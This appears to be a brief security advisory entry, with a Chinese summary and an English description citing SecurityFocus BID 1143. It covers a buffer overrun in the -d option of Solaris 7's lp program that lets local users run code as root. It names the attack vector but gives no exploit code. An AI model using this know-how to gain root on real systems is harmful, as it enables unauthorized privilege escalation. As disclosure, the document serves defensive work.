Solaris7lp存在缓冲区溢出漏洞，本地用户可以通过超长-d选项获取根用户权限。

source: http://www.securityfocus.com/bid/1143/info

A buffer overrun has been discovered in the lp program, as included with Sun's Solaris 7 operating system. By passing well crafted, machine executable code of sufficient length to the -d option of lp, it becomes possible to execute arbitrary code as root.
